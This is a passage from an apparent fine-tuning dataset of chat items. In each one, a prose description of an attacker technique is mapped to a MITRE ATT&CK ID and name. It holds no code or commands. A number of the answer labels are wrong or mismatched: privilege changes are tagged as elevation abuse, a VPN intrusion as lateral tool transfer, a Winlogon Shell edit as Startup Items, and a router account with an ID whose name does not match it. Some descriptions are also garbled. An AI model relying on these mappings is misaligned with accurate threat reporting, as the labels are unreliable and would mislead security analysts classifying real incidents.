    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a rogue service that runs under a newly created, hidden service account with no interactive login, allowing the actor to maintain persistence without appearing in normal user audits."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages XDG autostart entries by placing a script in ~/.config/autostart that launches a backdoor when the GUI loads."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed a VBScript in a custom Outlook form, causing the script to execute automatically on Outlook launch to download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During startup, the backdoor reads a unique hardware ID from the BIOS and proceeds only when the ID matches the one it was programmed to recognize."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through credential dumping, the group recovered stored authentication certificates and generated counterfeit ones to maintain foothold."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites the BIOS flash memory, inserting a bootkit that runs before the operating system loads."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits misconfigured metadata API access to obtain OAuth tokens for the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability in the SSH daemon that allows session stealing, enabling them to attach to a currently authenticated user’s session."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware calls Windows API EnumProcesses to gather process IDs."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the XPC API, the adversary triggers a remote procedure call to a privileged helper tool to install persistence."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By editing the token's parent PID, the malicious code masks its true lineage, appearing as a child of Explorer.exe."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a registry key that disables Windows Defender real‑time protection and forces the system to revert to legacy security policies."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan mimics security software pop‑ups, prompting the victim to enter credentials into a phishing form."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a malicious Windows service that starts automatically at boot."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a crafted .lnk file in a USB autorun.inf to launch a payload when the USB is inserted."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by installing a malicious print processor that is automatically loaded by the print spooler service."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat software reads the cached domain credentials from the Windows Credential Store to obtain user hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed a PowerShell scheduled job that runs daily to compress and send database dumps to a hard‑coded Amazon S3 bucket."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing toolkit gathers the victim's domain registration history and expiration dates to craft more believable social engineering attacks."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a network device firmware and exploit a flaw to harvest admin credentials."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PDF payload triggers the browser to dump session cookies into a temporary file accessible to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a custom exfiltration tool that monitors outgoing traffic and throttles data to remain under the network's maximum transfer size per connection."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor abuses the system's firmware flashing utility to flash a malicious EFI driver that runs before the OS kernel."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a combination of exploit kits and vulnerability scanning to identify and exploit weaknesses in a target's web applications."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uploads source code to the target machine and triggers the system's build tools to compile it, thus evading static analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the system's BIOS settings to disable automatic power-off, preventing the device from rebooting after a crash."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses OS credential APIs to pull passwords saved in the Windows Credential Manager for remote access tools."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro triggers the execution of a PowerShell command that writes a payload to the system directory."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages container runtime API to start a new privileged container on the host."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An email crafted to appear as a calendar invitation contained a URL that, when clicked, redirected the victim to a malicious site that performed credential harvesting via a fake login form."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email includes a PDF that contains hidden code steganographically altered in its metadata."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host uses ASCII encoding to transform binary data before transmitting it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account is used to add the attacker to the local Administrators group."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder updates the system's code signing policy to trust a compromised signing key, allowing their payloads to execute unchecked."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An email appears to be from a trusted software vendor, offering an urgent security patch that requires the recipient to provide their admin password to download."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses an evil twin attack, creating a rogue Wi-Fi access point that mimics a legitimate one, allowing them to intercept data transmitted over the network."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits a services registry permissions weakness, granting themselves write rights to the service configuration and inserting a backdoored executable."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a custom MMC snap‑in DLL and invokes it through mmc.exe to bypass AppLocker."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs the legit control.exe binary to proxy execution of a PowerShell script that disables security tools."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious entry is added to the 'Shell' value in the HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon key."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious executable disguised as a software update is placed on a shared drive; a user runs it, executing the payload."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attack involves compromising a VPN connection to gain access to a network and then escalating privileges within that network."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code searched the Linux /etc directory for configuration files that contain plaintext passwords."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a malicious DLL and registers it with the Verclsid binary, causing the system to load the payload when a legitimate file is opened, exemplifying T1218.012."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious binary reads the '/etc/passwd' file to enumerate local user accounts on a Linux system."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltration is performed via an encrypted peer‑to‑peer protocol that employs asymmetric keys, avoiding typical C2 pathways."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor sets up an Active Setup component with a command line that invokes a hidden PowerShell payload each time the user session starts."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain an OAuth application access token from a compromised service account and use it to call cloud APIs as the legitimate app."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a sandbox evasion routine, the program delays its network request by sleeping for a period proportional to the detected virtual machine's reported CPU speed, ensuring it times out in analysis environments."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs HTML smuggling by embedding obfuscated JavaScript in a seemingly benign webpage, allowing the download and execution of a payload without triggering file‑type filters."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During infiltration, the group places a malicious binary called \"services .exe\" with a space after the filename to bypass file‑based filters."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spear‑phishing email impersonates a senior executive and requests a junior employee to forward a confidential document, embedding a request for the employee’s VPN password to decrypt the file."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages the legitimate Windows utility msbuild.exe to run malicious C# code on a victim's system, bypassing application control."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group establishes a task scheduler entry that copies sensitive documents to an external drive nightly."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a domain in a cloud provider's region that the target never uses, then uses it to host phishing landing pages that bypass regional threat intel feeds."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a backdoor account on the victim's router using default credentials that were never changed."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit calls NtReadVirtualMemory on the physical memory of the drive to retrieve raw sector data."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Alters the in‑memory data structures of an IoT device firmware to change its operational parameters remotely."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a fraudulent code signing request to get a certificate issued for a nonexistent company."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a CI/CD pipeline vulnerability to inject a rogue container that runs with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT used a legitimate VPN service’s web portal to tunnel C2 traffic, blending with normal traffic patterns."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious iOS app reads the keychain to extract saved banking app credentials using the SecItemCopyMatching call."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spearphishing attachment targeting specific individuals"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing attack yielded a user’s AWS Access Key ID, which was then used to programmatically retrieve all stored secrets from AWS Secrets Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script sets up a local HTTP proxy to redirect outbound requests through a command server."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker spawns a malicious child process under a legitimate parent, then terminates the original parent to hide the malicious process in the system's process tree."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary compromised a VPS through a vulnerable WordPress plugin, then uploaded a malicious PHP script."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a custom C++ backdoor that periodically records the screen using DirectX and exfiltrates the images over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised server has a new cron entry that calls a malicious Bash script at midnight to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor issues the \"tasklist /v\" command to retrieve detailed process information."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a malicious INF file through cmstp.exe to bypass AppLocker restrictions and launch a payload."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting code into a parent process and then terminating the parent, the malware re-parents its own process under a benign system service, breaking the normal process hierarchy to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses the Windows System Binary regsvr32 to proxy the execution of a malicious COM object."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program enumerates all running processes, selects a legitimate system process, and uses ListPlanting to inject its payload into the process’s memory space."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor dumps the securityd process RAM on a jailbroken iPhone to harvest saved credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
